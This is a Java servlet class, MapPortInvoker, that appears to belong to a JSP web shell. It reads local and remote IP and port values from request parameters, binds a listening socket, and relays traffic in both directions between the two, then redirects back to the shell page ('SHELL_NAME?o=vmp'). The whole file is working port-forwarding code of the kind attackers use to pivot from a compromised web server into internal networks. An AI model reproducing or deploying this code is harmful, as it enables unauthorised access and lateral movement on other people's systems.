package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;

public class MapPortInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String localIP = request.getParameter("localIP");
            String localPort = request.getParameter("localPort");
            final String remoteIP = request.getParameter("remoteIP");
            final String remotePort = request.getParameter("remotePort");
            if (Utils.isEmpty(localIP) || Utils.isEmpty(localPort) || Utils.isEmpty(remoteIP) || Utils.isEmpty(remotePort))
                return;
            Object obj = session.getAttribute(PORT_MAP);
            if (obj != null) {
                ServerSocket s = (ServerSocket) obj;
                s.close();
            }
            final ServerSocket server = new ServerSocket();
            server.bind(new InetSocketAddress(localIP, Integer.parseInt(localPort)));
            session.setAttribute(PORT_MAP, server);
            new Thread(new Runnable() {
                public void run() {
                    while (true) {
                        Socket soc = null;
                        Socket remoteSoc = null;
                        DataInputStream remoteIn = null;
                        DataOutputStream remoteOut = null;
                        DataInputStream localIn = null;
                        DataOutputStream localOut = null;
                        try {
                            soc = server.accept();
                            remoteSoc = new Socket();
                            remoteSoc.connect(new InetSocketAddress(remoteIP, Integer.parseInt(remotePort)));
                            remoteIn = new DataInputStream(remoteSoc.getInputStream());
                            remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
                            localIn = new DataInputStream(soc.getInputStream());
                            localOut = new DataOutputStream(soc.getOutputStream());
                            this.readFromLocal(localIn, remoteOut);
                            this.readFromRemote(soc, remoteSoc, remoteIn, localOut);
                        } catch (Exception ex) {
                            break;
                        }
                    }
                }

                public void readFromLocal(final DataInputStream localIn, final DataOutputStream remoteOut) {
                    new Thread(new Runnable() {
                        public void run() {
                            while (true) {
                                try {
                                    byte[] data = new byte[100];
                                    int len = localIn.read(data);
                                    while (len != -1) {
                                        remoteOut.write(data, 0, len);
                                        len = localIn.read(data);
                                    }
                                } catch (Exception e) {
                                    break;
                                }
                            }
                        }
                    }).start();
                }

                public void readFromRemote(final Socket soc, final Socket remoteSoc, final DataInputStream remoteIn, final DataOutputStream localOut) {
                    new Thread(new Runnable() {
                        public void run() {
                            while (true) {
                                try {
                                    byte[] data = new byte[100];
                                    int len = remoteIn.read(data);
                                    while (len != -1) {
                                        localOut.write(data, 0, len);
                                        len = remoteIn.read(data);
                                    }
                                } catch (Exception e) {
                                    try {
                                        soc.close();
                                        remoteSoc.close();
                                    } catch (Exception ex) {
                                    }
                                    break;
                                }
                            }
                        }
                    }).start();
                }
            }).start();
            session.setAttribute("done", "Map Port Success!");
            session.setAttribute("localIP", localIP);
            session.setAttribute("localPort", localPort);
            session.setAttribute("remoteIP", remoteIP);
            session.setAttribute("remotePort", remotePort);
            response.sendRedirect(SHELL_NAME + "?o=vmp");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}